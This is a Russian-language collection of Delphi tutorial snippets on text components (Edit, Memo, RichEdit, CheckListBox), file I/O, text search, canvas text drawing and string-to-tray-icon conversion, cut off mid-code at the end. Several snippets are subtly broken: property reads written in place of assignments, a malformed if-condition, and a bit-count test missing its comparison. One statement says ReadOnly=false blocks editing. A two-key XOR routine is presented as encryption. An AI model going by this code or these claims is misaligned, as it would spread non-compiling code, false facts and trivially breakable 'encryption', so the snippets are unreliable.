Размер меток Label, StaticText опередляется свойством AutoSize. Если AutoSize=true, то вертикальные и горизонтальные размеры определяются размером надписи. У метки Label свойство WordWrap при значении AutoSize=false задает возможность многострочных надписей. Окна редактирования Edit и MaskEdit Вводимый и выводимый текст содержится в свойстве Text. Его можно задавать в процессе проектирования или изменять программно. Выравнивание текста и перенос строк невозможен. Свойством AutoSize автоматически подстраивается только высота текста, но не ширина. Если текст не помещается в окне, то его можно прокручивать с помощью курсора. Для них предусмотрены типичные комбинации горячих клавиш: Ctrl-C - копирование выделенного текста в буфер обмена ClipBoard Ctrl-X - вырезание выделенного текста в буфер обмена ClipBoard Ctrl-V - вставка из буфера обмена ClipBoard в позицию курсора Ctrl-Z - отмена последней команды редактирования Можно установить свойство ReadOnly=false и это не позволит редактировать текст. При использовании окон редактирования для ввода, вывода и редактирования чисел необходимо использовать функции взаимного преобразования строк и чисел. Если вводимый текст не соответствует числу, то функция преобразования генерирует исключение EconvertError. Поэтому в программе необходимо предусмотреть обработку этого исключения:
var
  A: integer;
  : ..
try
  A := StrToInt(Edit1.Text);
  : : .
except
  on EconvertError do
    ShowMessage('Вы ввели ошибочное число');
end;
Свойство MaxLength определяет максимальную длину вводимого текста (при MaxLength=0 - длина не ограничена). Свойство Modified, доступное только во время выполнеия, показывает, проводило ли редактирование текста в окне (вначале устанавливается false, а затем проверяется. Свойство PasswordChar позволяет превращать окно редактирования в окно ввода пароля, если установить PasswordChar=*, то при вводе пользователем текста, в окне будут появляться именно эти символы, обеспечивая секретность пароля. В компоненте MaskEdit можно задать строку маски в свойстве EditMask. Многострочные окна редактирования Memo и RichEdit. В них предусиотрены клавиши: Ctrl-C - копирование выделенного текста в буфер обмена ClipBoard Ctrl-X - вырезание выделенного текста в буфер обмена ClipBoard Ctrl-V - вставка из буфера обмена ClipBoard в позицию курсора Ctrl-Z - отмена последней команды редактирования В компоненте Memo формат(шрифт, его атрибуты, выравнивание) одинаков для всего текста и определяется свойством Font компонента, помещенного на форму.

Компонент RichEdit работает с текстом в формате rtf. Изменить арибуты вновь водимого текста можно свойством SelAttributes. Это свойство имеет тип TtextAttributes, которое в свою очередь имеет подсвойства: Color, Name(имя шрифта), Size, Style и др. Если поместить на форму со строницы Dialog палитры кмпонент стандартный диалог выбора шрифта FontDialog и кнопку, с помощью которой этот диалог будет вызываться, то можно связать возвращаемые даилогом атрибуты текста со свойствами текстового редактора:

procedure TForm1.Button1Click(Sender: TObject);
begin
  if FontDialog1.Execute then
    with RichEdit1.SelAttributes do
    begin
      Color.FontDialog1.Font.Color;
      Name.FontDialog1.Font.Name;
      Size.FontDialog1.Font.Size;
      Style.FontDialog1.Font.Style;
    end;
  RichEdit1.SetFocus;
end;

Можно присвоить сразу все свойства одного объекта другому, т.к. объекты SelAttributes и Font совместимы по типу:

procedure TForm1.Button1Click(Sender: TObject);
begin
  if FontDialog1.Execute then
    RichEdit1.SelAttributes.Assign(FontDialog1.Font);
  RichEdit1.SetFocus;
end;

Общие свойства этих окон редактирования:

А1ignмеnt - выравнивание текста WordWrap - допустимость переноса длинныз строк ReadOnly - true - только для чтения MaxLength - максимальная длина вводимого текста WantReturns - допустимость ввода пользователем в текст символа перевода строки WantTab - допустимость ввода пользователем в текст символа табуляции ScrollBars - наличие полос прокрутки

Основное свойство окон редактирования Memo и RichEdit - Lines, содержащее текст окна в виде списка строк и имеющее тип TStrings.

Lines - начальное значение текста в процессе проектирования в Инспекторе объектов Count - количество строк в тексте Memo1.Lines.Strings[0] - доступ к отдельной (первой) строке текста по индексу. Индексы меняются как везде в Delphi от 0 до Count-1 Memo1.Lines.Add (Append) - при занесении новой строки в окно редактирования Memo1.Lines.LoadFromFile('text.txt'); - загрузить текст из файла Memo1.Lines.SaveToFile('text.txt'); - сохранение текста в файле SelStart - позиция курсора в тексте Memo1.CaretPos.Y+1 и Memo1.CaretPos.X+1 - номер строки и символа в ней перед которым расположен курсор Компоненты выбор из списков ListBox, CheckListBox, ComboBox. Компоненты ListBox, ComboBox отображают списки строк. ListBox только отображает данные и позволяет выбирать. ComboBox позволяет также редактировать данные. Основное свойство обоих компонентов - Items, имеющее тип Tstrings. Его можно заполнить в процессе проектирования. Во врямя выполнения работать с этим свойством можно, пользуясь свойствами иметодами класса Tstrings - Clear, add, и др.!!!! CheckListBox выглядит как ListBox, но около каждой строки имеется индикатор, который пользователь может переключать, в том числе и программно. Все свойства компонета CheckListBox как списка аналогичны ListBox. Состояние индикаторов определяют два свойства - индексированные массивы: State и Checked, каждый элемент которых соответствует индексу строки, устанавливаемые в том числе и программно. При каждом щелчке пользователя на индикаторе его состояние изменяется, проходя в общем случае последовательно три значения: выделение(появление черной галочки), промежуточное (серое окно индикатора и серая галочка) и не выделенное ( пустое окно индикатора).Эти м трем состояниям соответствуют три значения свойства компонента State (при AllowGrayed=true): CbChecked, CbGrayed, сьUnсhескеd При AllowGrayed=false (значение по умолчанию) допускаются только два состояния: выделенное и не выделенное. Проверять состояние индикатора можно не только по значению State, но и по значению свойства Checked. Если Checked=true, то индикатор выбран, а если false, State равно либо CbGrayed либо сьUnсhескеd. Обращение к свойствам:
CheckListBox1.Checked[1]:= true
CheckListBox1. State[2]:= CbGrayed

Оператор.

for I := 0 to CheckListBox1.Items.Count - 1 do
  if CheckListBox1.Checked[i] then
    ...

В компоненте CheckListBox имеется также событие onClickCheck, возникающее при каждом изменении пользователем состояния индикатора. Его можно использовать для обработки результатов изменения.

Пример шифрования текста.

Статьи по Delphi (017)…

const
  csCryptFirst = 20;
  csCryptSecond = 230;
  csCryptHeader = 'Crypted';
type
  ECryptError = class(Exception);
function CryptString(Str:String):String;
var i,clen : Integer;
begin
  clen := Length(csCryptHeader);
  SetLength(Result, Length(Str)+clen);
  Move(csCryptHeader[1], Result[1], clen);
  For i := 1 to Length(Str) do
   begin
    if i mod 2 = 0 then
     Result[i+clen] := Chr(Ord(Str[i]) xor csCryptFirst)
    else
     Result[i+clen] := Chr(Ord(Str[i]) xor csCryptSecond);
   end;
end;
function UnCryptString(Str:String):String;
var i, clen : Integer;
begin
  clen := Length(csCryptHeader);
  SetLength(Result, Length(Str)-clen);
  if Copy(Str, 1, clen) < > csCryptHeader then
   raise ECryptError.Create('UnCryptString failed');
  For i := 1 to Length(Str)-clen do
   begin
    if (i) mod 2 = 0 then
     Result[i] := Chr(Ord(Str[i+clen]) xor csCryptFirst)
    else
     Result[i] := Chr(Ord(Str[i+clen]) xor csCryptSecond);
   end;
end;

Поиск текста в текстовых файлах.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

unit Unit1;
 interface
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls, Buttons;
 type
   TForm1 = class(TForm)
     Button1: TButton;
     Memo1: TMemo;
     Edit1: TEdit;
     SpeedButton1: TSpeedButton;
     procedure SpeedButton1Click(Sender: TObject);
   private
     { Private-Deklarationen }
   public
     { Public-Deklarationen }
   end;
 var
   Form1: TForm1;
   // Aus einem alten c't-Heft von C nach Delphi ubersetzt 
  // Deklarationsteil 
procedure Ts_init(P: PChar; m: Integer);
 function Ts_Search(Text, p: PChar; m: Integer; Start: Longint): Longint;
   // Globale Variablen 
  // ***************** 
var
   shift: array[0..255] of Byte;     // Shifttabelle fur Turbosearch 
  Look_At: Integer;                   // Look_At-Position fur Turbosearch 
implementation
 {$R *.DFM}
 procedure Ts_init(P: PChar; m: Integer);
 var
   i: Integer;
 begin
   // *** Suchmuster analysieren **** 
  {1.}   for i := 0 to 255 do shift[i] := m + 1;
   {2.}   for i := 0 to m - 1 do Shift[Ord(p[i])] := m - i;
   Look_at := 0;
   {3.}   while (look_At < m - 1) do
    begin
     if (p[m - 1] = p[m - (look_at + 2)]) then Exit
     else
        Inc(Look_at, 1);
   end;
   // *** Beschreibung **** 
  //  1. Sprungtabelle Shift[0..255] wird mit der max. Sprungweite (Musterlange+1) 
  //     initialisiert. 
  //  2. Fur jedes Zeichen im Muster wird seine Position (von hinten gezahlt) in 
  //     der Shift-Tabelle eingetragen. 
  //     Fur das Muster "Hans" wurden folgende Shiftpositionen ermittelt werde: 
  //      Fur H  = ASCII-Wert = 72d ,dass von hinten gezahlt an der 4. Stelle ist, 
  //                                 wird Shift[72] := 4 eingetragen. 
  //      Fur a  = 97d   = Shift[97]  := 3; 
  //      Fur n  = 110d  = Shift[110] := 2; 
  //      Fur s  = 115d  = Shift[115] := 1; 
  //     Da das Muster von Vorn nach Hinten durchsucht wird, sind doppelt auf- 
  //     tretende Zeichen kein Problem. Die Shift-Werte werden uberschrieben und 
  //     mit der kleinsten Sprungweite automatisch aktualisiert. 
  //  3. Untersucht wo (position von hinten) das Letzte Zeichen im Muster 
  //     nochmals vorkommt und Speichert diese in der Variable Look_AT. 
  //     Die Maximale Srungweite beim Suchen kann also 2*Musterlange sein wenn 
  //     das letzte Zeichen nur einmal im Muster vorhanden ist. 
end;
 function Ts_Search(Text, p: PChar; m: Integer; Start: Longint): Longint;
 var
   I: Longint;
   T: PChar;
 begin
   T      := Text + Start;   // Zeiger auf Startposition im Text setzen 
  Result := -1;
   repeat
     i := m - 1;
     // Letztes Zeichen des Suchmusters im Text suchen. 
    while (t[i] <> p[i]) do t := t + shift[Ord(t[m])];
     i := i - 1;  // Vergleichszeiger auf vorletztes Zeichen setzen 
    if i < 0 then i := 0; // wenn nach nur einem Zeichen gesucht wird, 
    // kann i = -1 werden. 
    // restliche Zeichen des Musters vergleichen 
    while (t[i] = p[i]) do
      begin
       if i = 0 then Result := t - Text;
       i := i - 1;
     end;
     // Muster nicht gefunden -> Sprung um max. 2*m 
    if Result = -1 then t := t + Look_AT + shift[Ord(t[m + look_at])];
   until Result <> -1; // Repeat 
end;
 //  Such-Procedure auslosen  (hier beim drucken eines Speedbuttons auf FORM1) 
procedure TForm1.SpeedButton1Click(Sender: TObject);
 var
   tt: string;
   L: Integer;
   L2, sp, a: Longint;
   F: file;         // File-Alias 
  Size: Integer;   // Textlange 
  Buffer: PChar;   // Text-Memory-Buffer 
begin
   tt := Edit1.Text;      // Suchmuster 
  L  := Length(TT);      // Suchmusterlange 
  ts_init(PChar(TT), L); // Sprungtabelle fur Suchmuster initialisieren 
  try
     AssignFile(F, 'test.txt');
     Reset(F, 1);                   // File offnen 
    Size := FileSize(F);           // Filegrosse ermitteln 
    GetMem(Buffer, Size + L + 1);      // Memory reservieren in der Grosse von 
    // TextFilelange+Musterlange+1 
    try
       BlockRead(F, Buffer^, Size);  // Filedaten in den Buffer fullen 
      StrCat(Buffer, PChar(TT));     // Suchmuster ans Ende des Textes anhangen 
      // damit der Suchalgorythmus keine Fileende- 
      // Kontrolle machen muss. 
      // Turbo-Search 
      SP := 0;               // Startpunkt der Suche im Text 
      A  := 0;               // Anzahl-gefunden-Zahler 
      while SP < Size do
       begin
         L2 := Ts_Search(Buffer, PChar(TT), L, SP); // L = Musterlange 
        // SP= Startposition im Text 
        SP := L2 + L; // StartPosition auf Letzte gefundene Position+Musterlange 
        Inc(a);     // Anzahl gefunden Zahler 
      end;
       // Am Schluss nicht vergessen Buffer freigeben und Inputfile schliessen 
    finally
       FreeMem(Buffer);              // Memory freigeben. 
    end;
   finally
     CloseFile(F);                   // Datei schliessen. 
  end;
 end;
 end.

Работа с текстовыми файлами.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// Create a new text file and write some text into it 
procedure NewTxt;
 var
   f: Textfile;
 begin
   AssignFile(f, 'c:\ek.txt'); {Assigns the Filename}
   ReWrite(f); {Create a new file named ek.txt}
   Writeln(f, 'You have written text into a .txt file');
   Closefile(f); {Closes file F}
 end;
 // Open existing text file and append some text 
procedure OpenTxt;
 var
   F: Textfile;
 begin
   AssignFile(f, 'c:\ek.txt'); {Assigns the Filename}
   Append(f); {Opens the file for editing}
   Writeln(f, 'You have written text into a .txt file');
   Closefile(f); {Closes file F}
 end;
   // Open existing text file and show first line 
procedure ReadTxt;
 var
   F: Textfile;
   str: string;
 begin
     AssignFile(f, 'c:\ek.txt'); {Assigns the Filename}
   Reset(f); {Opens the file for reading}
   Readln(f, str);
   ShowMessage('1. line of textfile:' + str);
   Closefile(f); {Closes file F}
 end;

Вывод строковой информации.

Автор: Xavier Pacheco

{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
unit MainFrm;
interface
uses
  SysUtils, Windows, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, Menus;
const
  DString = 'Delphi 5 YES!';
  DString2 = 'Delphi 5 Rocks!';
type
  TMainForm = class(TForm)
    mmMain: TMainMenu;
    mmiText: TMenuItem;
    mmiTextRect: TMenuItem;
    mmiTextSize: TMenuItem;
    mmiDrawTextCenter: TMenuItem;
    mmiDrawTextRight: TMenuItem;
    mmiDrawTextLeft: TMenuItem;
    procedure mmiTextRectClick(Sender: TObject);
    procedure mmiTextSizeClick(Sender: TObject);
    procedure mmiDrawTextCenterClick(Sender: TObject);
    procedure mmiDrawTextRightClick(Sender: TObject);
    procedure mmiDrawTextLeftClick(Sender: TObject);
  public
    procedure ClearCanvas;
  end;
var
  MainForm: TMainForm;
implementation
{$R *.DFM}
procedure TMainForm.ClearCanvas;
begin
  with Canvas do
  begin
    Brush.Style := bsSolid;
    Brush.Color := clWhite;
    FillRect(ClipRect);
  end;
end;
procedure TMainForm.mmiTextRectClick(Sender: TObject);
var
  R: TRect;
  TWidth, THeight: integer;
begin
  ClearCanvas;
  Canvas.Font.Size := 18;
  // Calculate the width/height of the text string
  TWidth := Canvas.TextWidth(DString);
  THeight := Canvas.TextHeight(DString);
  { Initialize a TRect structure. The height of this rectangle will
    be 1/2 the height of the text string height. This is to
    illustrate clipping the text by the rectangle drawn }
  R := Rect(1, THeight div 2, TWidth + 1, THeight + (THeight div 2));
  // Draw a rectangle based on the text sizes
  Canvas.Rectangle(R.Left - 1, R.Top - 1, R.Right + 1, R.Bottom + 1);
  // Draw the Text within the rectangle
  Canvas.TextRect(R, 0, 0, DString);
end;
procedure TMainForm.mmiTextSizeClick(Sender: TObject);
begin
  ClearCanvas;
  with Canvas do
  begin
    Font.Size := 18;
    TextOut(10, 10, DString);
    TextOut(50, 50, 'TextWidth = ' + IntToStr(TextWidth(DString)));
    TextOut(100, 100, 'TextHeight = ' + IntToStr(TextHeight(DString)));
  end;
end;
procedure TMainForm.mmiDrawTextCenterClick(Sender: TObject);
var
  R: TRect;
begin
  ClearCanvas;
  Canvas.Font.Size := 10;
  R := Rect(10, 10, 80, 100);
  // Draw a rectangle to surround the TRect boundaries by 2 pixels }
  Canvas.Rectangle(R.Left - 2, R.Top - 2, R.Right + 2, R.Bottom + 2);
  // Draw text centered by specifying the dt_Center option
  DrawText(Canvas.Handle, PChar(DString2), -1, R, dt_WordBreak or dt_Center);
end;
procedure TMainForm.mmiDrawTextRightClick(Sender: TObject);
var
  R: TRect;
begin
  ClearCanvas;
  Canvas.Font.Size := 10;
  R := Rect(10, 10, 80, 100);
  // Draw a rectangle to surround the TRect boundaries by 2 pixels
  Canvas.Rectangle(R.Left - 2, R.Top - 2, R.Right + 2, R.Bottom + 2);
  // Draw text right-aligned by specifying the dt_Right option
  DrawText(Canvas.Handle, PChar(DString2), -1, R, dt_WordBreak or dt_Right);
end;
procedure TMainForm.mmiDrawTextLeftClick(Sender: TObject);
var
  R: TRect;
begin
  ClearCanvas;
  Canvas.Font.Size := 10;
  R := Rect(10, 10, 80, 100);
  // Draw a rectangle to surround the TRect boudries by 2 pixels
  Canvas.Rectangle(R.Left - 2, R.Top - 2, R.Right + 2, R.Bottom + 2);
  // Draw text left-aligned by specifying the dt_Left option
  DrawText(Canvas.Handle, PChar(DString2), -1, R, dt_WordBreak or dt_Left);
end;
end.

Изменить заголовки компонент различных классов.

Статьи по Delphi (017)…
unit TextPF;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    CheckBox1: TCheckBox;
    Label1: TLabel;
    Memo1: TMemo;
    ListBox1: TListBox;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
type
  TControlHack = class (TControl);
procedure TForm1.Button1Click(Sender: TObject);
var
  I: Integer;
begin
  for I := 0 to ControlCount - 1 do
    TControlHack (Controls [I]).Text :=
      TControlHack (Controls [I]).Text + '*';
end;
end.

Загрузить весь проект

Как реализовать поиск по тексту.

Статьи по Delphi (017)…
procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
    Memo1.Lines.LoadFromFile(OpenDialog1.FileName);
end;
procedure TForm1.Button2Click(Sender: TObject);
var
  find: string;
  text: string;
  st, len: integer;
  res: integer;
begin
  if Memo1.SelStart >= Length(Memo1.Text) then
    Memo1.SelStart := 0;
  st := Memo1.SelStart + 1;
  if (Memo1.SelLength or (not CheckBox1.Checked) then
  begin
    inc(st, Memo1.SelLength);
    len := Length(Memo1.Text) - st;
  end
  else
    len := Memo1.SelLength;
  text := copy(Memo1.Text, st, len);
  find := Edit1.Text;
  res := pos(find, text);
  if res = 0 then
  begin
    ShowMessage('Search string "' + find + '" not found');
    Exit;
  end;
  Memo1.SelStart := res + st - 2;
  Memo1.SelLength := length(find);
end;

Отображаем текст в System Tray.

Статьи по Delphi (017)…

Данный код сперва конвертирует Ваш текст в DIB, а затем DIB в иконку и далее в ресурс. После этого изображение иконки отображается в System Tray.

Вызов просходит следующим образом:

StringToIcon('Delphi World Is Cool !!!'); 
// Не забудьте удалить объект HIcon, после вызова функции... 
unit MainForm; 
interface 
uses 
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, 
  Dialogs, StdCtrls, ExtCtrls; 
type 
  TForm1 = class(TForm) 
    Button1: TButton; 
    Image1: TImage; 
    Timer1: TTimer; 
    procedure Button1Click(Sender: TObject); 
    procedure Timer1Timer(Sender: TObject); 
  private 
    function StringToIcon (const st : string) : HIcon; 
  public 
    { Public declarations } 
end; 
var 
  Form1: TForm1; 
implementation 
{$R *.DFM} 
type 
  ICONIMAGE = record 
    Width, Height, Colors : DWORD; // Ширина, Высота и кол-во цветов 
    lpBits : PChar; // указатель на DIB биты 
    dwNumBytes : DWORD; // Сколько байт? 
    lpbi : PBitmapInfoHeader; // указатель на заголовок 
    lpXOR : PChar; // указатель на XOR биты изображения 
    lpAND : PChar; // указатель на AND биты изображения 
end; 
function CopyColorTable (var lpTarget: BITMAPINFO; 
const lpSource: BITMAPINFO): boolean; 
var 
  dc : HDC; 
  hPal : HPALETTE; 
  pe : array [0..255] of PALETTEENTRY; 
  i : Integer; 
begin 
  result := False; 
  case (lpTarget.bmiHeader.biBitCount) of 
    8 : 
      if lpSource.bmiHeader.biBitCount = 8 then 
      begin 
        Move (lpSource.bmiColors, lpTarget.bmiColors, 256 * sizeof (RGBQUAD)); 
        result := True 
      end 
      else 
      begin 
        dc := GetDC (0); 
        if dc <> 0 then 
          try 
            hPal := CreateHalftonePalette (dc); 
            if hPal <> 0 then 
              try 
                if GetPaletteEntries (hPal, 0, 256, pe) <> 0 then 
                begin 
                  for i := 0 to 255 do 
                  begin 
                    lpTarget.bmiColors [i].rgbRed := pe [i].peRed; 
                    lpTarget.bmiColors [i].rgbGreen := pe [i].peGreen; 
                    lpTarget.bmiColors [i].rgbBlue := pe [i].peBlue; 
                    lpTarget.bmiColors [i].rgbReserved := pe [i].peFlags;
                  end; 
                  result := True 
                end 
              finally 
                DeleteObject (hPal) 
              end 
          finally 
            ReleaseDC (0, dc) 
          end 
      end; 
    4 : 
      if lpSource.bmiHeader.biBitCount = 4 then 
      begin 
        Move (lpSource.bmiColors, lpTarget.bmiColors, 16 * sizeof (RGBQUAD)); 
        result := True 
      end 
      else 
      begin 
        hPal := GetStockObject (DEFAULT_PALETTE); 
        if (hPal <> 0) and (GetPaletteEntries (hPal, 0, 16, pe) <> 0) then 
        begin 
          for i := 0 to 15 do 
          begin 
            lpTarget.bmiColors [i].rgbRed := pe [i].peRed; 
            lpTarget.bmiColors [i].rgbGreen := pe [i].peGreen; 
            lpTarget.bmiColors [i].rgbBlue := pe [i].peBlue; 
            lpTarget.bmiColors [i].rgbReserved := pe [i].peFlags; 
          end; 
          result := True 
        end 
      end; 
    1: 
    begin 
      i := 0; 
      lpTarget.bmiColors[i].rgbRed := 0; 
      lpTarget.bmiColors[i].rgbGreen := 0; 
      lpTarget.bmiColors[i].rgbBlue := 0; 
      lpTarget.bmiColors[i].rgbReserved := 0; 
      i := 1; 
      lpTarget.bmiColors[i].rgbRed := 255; 
      lpTarget.bmiColors[i].rgbGreen := 255; 
      lpTarget.bmiColors[i].rgbBlue := 255; 
      lpTarget.bmiColors[i].rgbReserved := 0; 
      result := True 
    end; 
  else 
    result := True 
  end 
end; 
function WidthBytes (bits : DWORD) : DWORD; 
begin 
  result := ((bits + 31) shr 5) shl 2;
end; 
function BytesPerLine (const bmih : BITMAPINFOHEADER) : DWORD; 
begin 
  result := WidthBytes (bmih.biWidth * bmih.biPlanes * bmih.biBitCount); 
end; 
function DIBNumColors (const lpbi : BitmapInfoHeader) : word; 
var 
  dwClrUsed : DWORD; 
begin 
  dwClrUsed := lpbi.biClrUsed; 
  if dwClrUsed <> 0 then 
    result := Word (dwClrUsed) 
  else 
    case lpbi.biBitCount of 
      1 : result := 2; 
      4 : result := 16; 
      8 : result := 256 
      else 
        result := 0; 
    end 
end; 
function PaletteSize (const lpbi : BitmapInfoHeader) : word; 
begin 
  result := DIBNumColors (lpbi) * sizeof (RGBQUAD); 
end; 
function FindDIBBits (const lpbi : BitmapInfo) : PChar; 
begin 
  result := @lpbi; 
  result := result + lpbi.bmiHeader.biSize + PaletteSize (lpbi.bmiHeader); 
end; 
function ConvertDIBFormat (var lpSrcDIB : BITMAPINFO; nWidth, nHeight, 
nbpp : DWORD; bStretch : boolean) : PBitmapInfo; 
var 
  lpbmi : PBITMAPINFO; 
  lpSourceBits, lpTargetBits : Pointer; 
  DC, hSourceDC, hTargetDC : HDC;
  hSourceBitmap, hTargetBitmap, hOldTargetBitmap, hOldSourceBitmap : HBITMAP; 
  dwSourceBitsSize, dwTargetBitsSize, dwTargetHeaderSize : DWORD; 
begin 
  result := nil; 
  // Располагаем и заполняем структуру BITMAPINFO для нового DIB 
  // Обеспечиваем достаточно места для 256-цветной таблицы 
  dwTargetHeaderSize := sizeof ( BITMAPINFO ) + ( 256 * sizeof( RGBQUAD ) ); 
  GetMem (lpbmi, dwTargetHeaderSize); 
  try 
    lpbmi^.bmiHeader.biSize := sizeof (BITMAPINFOHEADER); 
    lpbmi^.bmiHeader.biWidth := nWidth; 
    lpbmi^.bmiHeader.biHeight := nHeight; 
    lpbmi^.bmiHeader.biPlanes := 1; 
    lpbmi^.bmiHeader.biBitCount := nbpp; 
    lpbmi^.bmiHeader.biCompression := BI_RGB; 
    lpbmi^.bmiHeader.biSizeImage := 0; 
    lpbmi^.bmiHeader.biXPelsPerMeter := 0; 
    lpbmi^.bmiHeader.biYPelsPerMeter := 0; 
    lpbmi^.bmiHeader.biClrUsed := 0; 
    lpbmi^.bmiHeader.biClrImportant := 0; 
    // Заполняем в таблице цветов 
    if CopyColorTable (lpbmi^, lpSrcDIB) then 
    begin 
      DC := GetDC (0); 
      hTargetBitmap := CreateDIBSection (DC, lpbmi^, DIB_RGB_COLORS, lpTargetBits, 0, 0 ); 
      hSourceBitmap := CreateDIBSection (DC, lpSrcDIB, DIB_RGB_COLORS, lpSourceBits, 0, 0 ); 
      try 
        if (dc <> 0) and (hTargetBitmap <> 0) and (hSourceBitmap <> 0) then 
        begin 
          hSourceDC := CreateCompatibleDC (DC); 
          hTargetDC := CreateCompatibleDC (DC); 
          try 
            if (hSourceDC <> 0) and (hTargetDC <> 0) then 
            begin 
              // Flip the bits on the source DIBSection to match the source DIB 
              dwSourceBitsSize := DWORD (lpSrcDIB.bmiHeader.biHeight) * BytesPerLine(lpSrcDIB.bmiHeader); 
              dwTargetBitsSize := DWORD (lpbmi^.bmiHeader.biHeight) * BytesPerLine(lpbmi^.bmiHeader); 
              Move (FindDIBBits (lpSrcDIB)^, lpSourceBits^, dwSourceBitsSize ); 
              // Select DIBSections into DCs 
              hOldSourceBitmap := SelectObject( hSourceDC, hSourceBitmap ); 
              hOldTargetBitmap := SelectObject( hTargetDC, hTargetBitmap ); 
              try 
                if (hOldSourceBitmap <> 0) and (hOldTargetBitmap <> 0) then 
                begin 
                  // Устанавливаем таблицу цветов для DIBSections 
                  if lpSrcDIB.bmiHeader.biBitCount then 
                    SetDIBColorTable (hSourceDC, 0, 1 shl lpSrcDIB.bmiHeader.biBitCount, lpSrcDIB.bmiColors); 
                  if lpbmi^.bmiHeader.biBitCount then 
                    SetDIBColorTable (hTargetDC, 0, 1 shl lpbmi^.bmiHeader.biBitCount, lpbmi^.bmiColors ); 
                  // If we are asking for a straight copy, do it 
                  if (lpSrcDIB.bmiHeader.biWidth = lpbmi^.bmiHeader.biWidth) and 
                  (lpSrcDIB.bmiHeader.biHeight = lpbmi^.bmiHeader.biHeight) then 
                    BitBlt (hTargetDC, 0, 0, lpbmi^.bmiHeader.biWidth, lpbmi^.bmiHeader.biHeight, 
                    hSourceDC, 0, 0, SRCCOPY) 
                  else 
                  if bStretch then 
                  begin 
                    SetStretchBltMode (hTargetDC, COLORONCOLOR); 
                    StretchBlt (hTargetDC, 0, 0, lpbmi^.bmiHeader.biWidth, 
                    lpbmi^.bmiHeader.biHeight, hSourceDC, 0, 0, lpSrcDIB.bmiHeader.biWidth, 
                    lpSrcDIB.bmiHeader.biHeight, SRCCOPY ); 
                  end 
                  else 
                    BitBlt (hTargetDC, 0, 0, lpbmi^.bmiHeader.biWidth, 
                    lpbmi^.bmiHeader.biHeight, hSourceDC, 0, 0, SRCCOPY ); 
                  GDIFlush; 
                  GetMem (result, Integer (dwTargetHeaderSize + dwTargetBitsSize)); 
                  Move (lpbmi^, result^, dwTargetHeaderSize); 
                  Move (lpTargetBits^, FindDIBBits (result^)^, dwTargetBitsSize); 
                end 
              finally 
                if hOldSourceBitmap <> 0 then 
                  SelectObject (hSourceDC, hOldSourceBitmap); 
                if hOldTargetBitmap <> 0 then 
                  SelectObject (hTargetDC, hOldTargetBitmap); 
              end 
            end 
          finally 
            if hSourceDC <> 0 then 
              DeleteDC (hSourceDC); 
            if hTargetDC <> 0 then 
              DeleteDC (hTargetDC); 
          end 
        end; 
      finally 
        if hTargetBitmap <> 0 then 
          DeleteObject (hTargetBitmap); 
        if hSourceBitmap <> 0 then 
          DeleteObject (hSourceBitmap); 
        if dc <> 0 then 
          ReleaseDC (0, dc) 
      end 
    end 
  finally 
    FreeMem (lpbmi) 
  end 
end; 
function DIBToIconImage (var lpii : ICONIMAGE; var lpDIB: 
BitmapInfo; bStretch : boolean) : boolean; 
var 
  lpNewDIB : PBitmapInfo; 
begin 
  result := False; 
  lpNewDIB := ConvertDIBFormat (lpDIB, lpii.Width, lpii.Height, lpii.Colors, bStretch ); 
  if Assigned (lpNewDIB) then 
    try 
      lpii.dwNumBytes := sizeof (BITMAPINFOHEADER)// Заголовок 
      + PaletteSize (lpNewDIB^.bmiHeader)// Палитра
      + lpii.Height * BytesPerLine (lpNewDIB^.bmiHeader)// XOR маска 
      + lpii.Height * WIDTHBYTES (lpii.Width);// AND маска 
      // Если здесь уже картинка, то освобождаем её 
    if lpii.lpBits <> nil then 
      FreeMem (lpii.lpBits); 
    GetMem (lpii.lpBits, lpii.dwNumBytes); 
    Move (lpNewDib^, lpii.lpBits^, sizeof (BITMAPINFOHEADER) + PaletteSize (lpNewDIB^.bmiHeader)); 
    // Выравниваем внутренние указатели/переменные для новой картинки 
    lpii.lpbi := PBITMAPINFOHEADER (lpii.lpBits); 
    lpii.lpbi^.biHeight := lpii.lpbi^.biHeight * 2; 
    lpii.lpXOR := FindDIBBits (PBitmapInfo (lpii.lpbi)^); 
    Move (FindDIBBits (lpNewDIB^)^, lpii.lpXOR^, 
    lpii.Height * BytesPerLine (lpNewDIB^.bmiHeader)); 
    lpii.lpAND := lpii.lpXOR + lpii.Height * 
    BytesPerLine (lpNewDIB^.bmiHeader); 
    Fillchar (lpii.lpAnd^, lpii.Height * WIDTHBYTES (lpii.Width), $00); 
    result := True 
  finally 
    FreeMem (lpNewDIB) 
  end 
end; 
function TForm1.StringToIcon (const st : string) : HIcon; 
var 
  memDC : HDC; 
  bmp : HBITMAP; 
  oldObj : HGDIOBJ; 
  rect : TRect; 
  size : TSize; 
  infoHeaderSize : DWORD; 
  imageSize : DWORD; 
  infoHeader : PBitmapInfo; 
  icon : IconImage; 
  oldFont : HFONT; 
begin 
  result := 0; 
  memDC := CreateCompatibleDC (0); 
  if memDC <> 0 then 
    try 
      bmp := CreateCompatibleBitmap (Canvas.Handle, 16, 16); 
      if bmp <> 0 then 
        try 
          oldObj := SelectObject (memDC, bmp); 
          if oldObj <> 0 then 
            try 
              rect.Left := 0; 
              rect.top := 0; 
              rect.Right := 16; 
              rect.Bottom := 16; 
              SetTextColor (memDC, RGB (255, 0, 0)); 
              SetBkColor (memDC, RGB (128, 128, 128)); 
              oldFont := SelectObject (memDC, font.Handle); 
              GetTextExtentPoint32 (memDC, PChar (st), Length (st), size); 
              ExtTextOut (memDC, (rect.Right - size.cx) div 2, 
              (rect.Bottom - size.cy) div 2, ETO_OPAQUE, @rect, 
              PChar (st), Length (st), nil); 
              SelectObject (memDC, oldFont); 
              GDIFlush; 
              GetDibSizes (bmp, infoHeaderSize, imageSize); 
              GetMem (infoHeader, infoHeaderSize + ImageSize); 
              try 
                GetDib (bmp, SystemPalette16, infoHeader^, 
